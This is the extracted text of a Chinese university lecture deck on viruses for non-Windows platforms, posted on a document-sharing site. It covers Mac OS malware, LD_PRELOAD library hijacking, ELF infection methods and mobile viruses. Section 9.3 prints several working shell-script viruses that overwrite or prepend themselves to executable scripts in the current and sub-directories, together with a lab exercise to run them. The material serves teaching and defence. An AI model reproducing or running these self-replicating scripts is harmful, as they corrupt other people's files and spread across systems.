计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒

上传人:w****i 文档编号:94561680 上传时间:2019-08-08 格式:PPT 页数:52 大小:353KB
返回 下载 相关 举报
计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒_第1页
第1页 / 共52页
计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒_第2页
第2页 / 共52页
计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒_第3页
第3页 / 共52页
计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒_第4页
第4页 / 共52页
计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒_第5页
第5页 / 共52页
点击查看更多>>
资源描述

《计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒》由会员分享,可在线阅读,更多相关《计算机病毒原理及防范技术教学课件王路群第9章 其他平台的病毒(52页珍藏版)》请在金锄头文库上搜索。

1、计算机病毒原理及理论,第九章 其他平台的病毒,第九章 其他平台的病毒,9.3 Shell脚本及病毒,9.2 Mac OS环境下的病毒,9.1 其他平台病毒的概述,本章学习导读,9.4 伪造的库函数,9.5 基于ELF的计算机病毒,9.6 移动设备病毒,本章小结,本章学习导读,本章主要讲解除了windows操作系统以外的其他平台下的病毒。首先概要的介绍其他平台下的病毒;然后讲解Mac平台下的病毒的特点;Linux以及Unix平台下的Shell病毒;然后介绍伪造的库函数;最后介绍新型移动设备上面的主要病毒。,9.1 其他平台病毒的概述,实际上没有一个OS可以完全抵御病毒的,包括Linux。不论在L

2、inux平台,还是Windows NT或者Mac OS,或者DOS或Windows,或者是Amiga,都可以创造出病毒代码。,9.1 其他平台病毒的概述,1.一些公共误区 首先第一个最大的误区就是很多高性能的安全系统可以对病毒蔓延的预防。 另一个误区就是认为linux系统尤其可以防止病毒的感染。 第三个误区就是认为UNIX系统是绝对安全的。,9.1 其他平台病毒的概述,2. Shell脚本 传播得首要问题是想办法使各个平台兼容。所以首先想到的是:shell脚本语言。 shell在不同的UNIX系统上面的差别很小。,9.1 其他平台病毒的概述,3.蠕虫 Internet的蠕虫病毒一般都是利用已知

3、的攻击程序去获得目标机的管理员权限,但是蠕虫的生命也是很短暂的,当该病毒所利用的漏洞被修补的话,那么该蠕虫也就失去它的作用了,,9.1 其他平台病毒的概述,4.内核级的传播 rootkit技术被病毒广泛应用,新型的病毒通过修改操作系统内核,来隐藏自身进程,隐藏自身文件,隐藏注册表项,此时的病毒完全融入了系统内核,无从发现也无从查杀。,9.1 其他平台病毒的概述,5.与平台兼容的病毒 如果用标准C来书写病毒代码的话,各种不同体系的UNIX系统变化不大。只需要对方计算机有一个gcc编译器,这样的病毒可以很轻易的扩散。这种可以跨平台的病毒的传染面是非常广的,而且似乎根本没有结束的时候。,9.2 Ma

4、c OS环境下的病毒,1. Mac.Simpsons mm 一个感染Macintosh(Mac OS 9.0 或更高)平台的AppleScript蠕虫,该蠕虫会打开Outlook(5.02)或Entourage并向地址簿中的所有人发送自身的副本。,9.2 Mac OS环境下的病毒,2. SevenDust 该病毒专门感染Mac执行文件,作为一个感染后的特征,该病毒还会在系统的Extension文件夹内生成一个名为“?666”的古怪文件。感染了这种病毒的机器最终将无法完成启动,并出现报警框,提示发生127类系统错误。该病毒只会感染Mac OS 8/9,不会感染Mac OS X(但会感染Class

5、ic)。,9.2 Mac OS环境下的病毒,3. CODE 9811 此病毒在应用程序之间传播。当受感染的应用程序启动时,它会搜索并感染另一个应用程序,将自身复制到该应用程序中。,9.2 Mac OS环境下的病毒,4. MBDF A MBDF A是源于特洛伊木马病毒Tetracycle的变种。另外,有人发现MBDF A携带于Obnoxious Tetris和Ten Tile Puzzle几个版本中。,9.2 Mac OS环境下的病毒,5. MAC_RENEPO.B 它会执行下列动作: (1)安装一个会自动激活的例程。 (2)执行一个远程访问应用程序(OSXvnc)。 (3)记录使用者通过键盘输

6、入的资料。 (4)下载并执行一个密码破解程序。 (5)窃取密码、密码杂凑、以及系统或使用者组态信息。 (6)修改系统或其它应用程序设定或偏好选项。,9.2 Mac OS环境下的病毒,6. MAC_MP3CONCEPT.A 这个概念验证型恶意程序似乎是一个有效的MP3文件,但实际上它是一个内含MP3文件的Macintosh执行程序。,9.2 Mac OS环境下的病毒,7. MAC SIMPSON.A 与 MAC SIMPSON.B 他们会通过Microsoft Entourage或Microsoft Outlook Express来散播。一旦感染系统之后,它们会开启一个网页,并将它们新增到激活项

7、目中。,9.2 Mac OS环境下的病毒,8. MAC_AUTOSTART.A 它会感染每一个挂载的磁盘驱动器,在磁盘驱动器的根目录植入一个名为DB的自动执行文件。它还会将自己植入Extensions资料夹成为DESKTOP PRINT SPOOLER,以便在每次系统激活时都能执行。,9.3 Shell脚本及病毒,操作系统与外部最主要的接口就叫做Shell。Shell是操作系统最外面的一层。Shell管理用户与操作系统之间的交互:等待用户输入,向操作系统解释用户的输入,并且处理各种各样的操作系统的输出结果。Shell提供了用户与操作系统之间通讯的方式。,9.3 Shell脚本及病毒,1.最原始

8、的Shell病毒,#shellvirus I# for file in ./infect/* do cp $0 $file done,9.3 Shell脚本及病毒,2. Shell病毒举例,#shellvirus II# for file in ./infect/* do if test -f $file #判断是否为文件 then if test -x $file #判断是否可执行 then if test -w $file #判断是否有写权限 then if grep -s echo $file .mmm #判断是否为脚本文件 then cp $0 $file #覆盖当前文件 fi fi

9、fi fi done rm .mmm -f,9.3 Shell脚本及病毒,3.具有感染机制的Shell病毒 Shell脚本一般都是明文的,不过危害性已经相当大了。感染标志infection来判断是否已经被感染在程序中可以反应出来。为了使上面的代码不容易被发现,必须优化它,最先考虑的肯定是精炼代码。,9.3 Shell脚本及病毒,#shellvirus III# #infection head -n 35 $0 .test1 #取病毒自身代码并保存到.test for file in ./* #遍历当前目录中的文件 do echo $file head -n 1 $file .mm #提取要感染

10、的脚本文件的第一行 if grep infection .mm .mmm #判断是否有感染标记infection then #已经被感染,则跳过 echo “infected file and rm .mm“ rm -f .mm else #尚未感染,继续执行 if test -f $file then echo “test -f“ if test -x $file then echo “test -x“ if test -w $file then echo “test -w“ if grep -s echo $file .mmm then echo “test -s and cat.“ ca

11、t $file .SAVEE #把病毒代码放在脚本文件的开始部分 cat .test1 $file #原有代码追加在末尾 cat .SAVEE $file #形成含有病毒代码的脚本文件 fi fi fi fi fi done rm .test1 .SAVEE .mmm .mm f #清理工作,9.3 Shell脚本及病毒,4.精炼Shell代码,#ShellVirus IV# #infection for file in ./* ; do #分号(;)表示命令分隔符 if test -f $file else head -n 14 $0 .SAVEE cat $file .SAVEE cat

12、.SAVEE $file fi fi fi done rm -f .SAVEE .mm,9.3 Shell脚本及病毒,5.感染特定目录得Shell病毒 Shell病毒可以做很多事情如download后门程序、为机器自动开后门、主动去攻击联网的其他机器、利用用户的email来发送传染等等。,9.3 Shell脚本及病毒,#ShellVirus V# #infection xtemp=$pwd #保存当前路径 head -n 22 $0 /.test1 for dir in ./* ; do #遍历当前目录 if test -d $dir ; then #如果有子目录则进入 cd $dir for

13、 file in ./* ; do #遍历该目录文件 if test -f $file else cat $file /.SAVEE #完成感染 cat /.test1 $file cat /.SAVEE $file fi fi fi done cd fi done cd $xtemp rm -f /.test1 /.SAVEE .mm #清理工作,9.3 Shell脚本及病毒,6.脚本病毒实验 解压缩目录ExperimentLinuxScript。该目录下共包含v-l.sh,v 2.sh,v 3.sh,v 4.sh和v S.sh等5个Linux系统下的脚本病毒文件。复制这些文件到Linux系

14、统。 1)修改这些病毒为可执行文件。 2)创建测试用脚本文件(例如,test.sh),根据病毒感染能力,注意测试文件的属性、所在目录层次等。 3)依次执行这5个脚本病毒,查看它们的执行效果。,9.4 伪造的库函数,人们可以利用LD_PRELOAD环境变量插入代码,也可以利用LD_PRELOAD环境变量把标准的库函数替换成自己的程序,从而让宿主程序执行自己的代码。因此,这种方式可称为伪造的库函数。,9.5 基于ELF的计算机病毒,9.5.3 Linux平台下的病毒,9.5.2 五种感染方式,9.5.1 代码段和数据段,9.5 基于ELF的计算机病毒,在UNIX和Linux上的病毒通常会使用ELF

15、可执行文件格式(Executable andLinking Format)。通常ELF文件没有任何扩展文件名,但是却可以根据其内部结构来识别。,9.5.1 代码段和数据段,UNIX操作系统像绝大多数操作系统一样,进程映像被划分成代码段(Text Segment)和数据段(Data Segment),这里段用于描述具有相同属性的一片内存区域。不只代码段、数据段,还有其他更多的段,比如堆栈段。然而,只有代码段、数据段存在于静态文件映像中。代码段和数据段的主要区别在于它们的访问权限不同。,9.5.1 代码段和数据段,除了程序代码外,那些在运行过程中保持不变的数据也位于代码段。 数据段包括初始化过的数

16、据、未初始化过的数据以及动态内存分配所使用的堆区(Heap)。,9.5.2 五种感染方式,1.覆盖式感染 2.填充感染 3.代码段感染 4.数据段感染 5.PLT感染,9.5.2 五种感染方式,1.覆盖式感染 这种感染最初的思路很简单,就是将病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,这里的思路并不复杂只是将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。,9.5.2 五种感染方式,2.填充感染 (1)利用节对齐的填充区和函数对齐的填充区进行传染。 (2)利用函数对齐的填充区进行传染 (3)利用填充区植入病

展开阅读全文
相关资源
正为您匹配相似的精品文档
相关搜索

最新文档


当前位置:首页 > 高等教育 > 大学课件

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号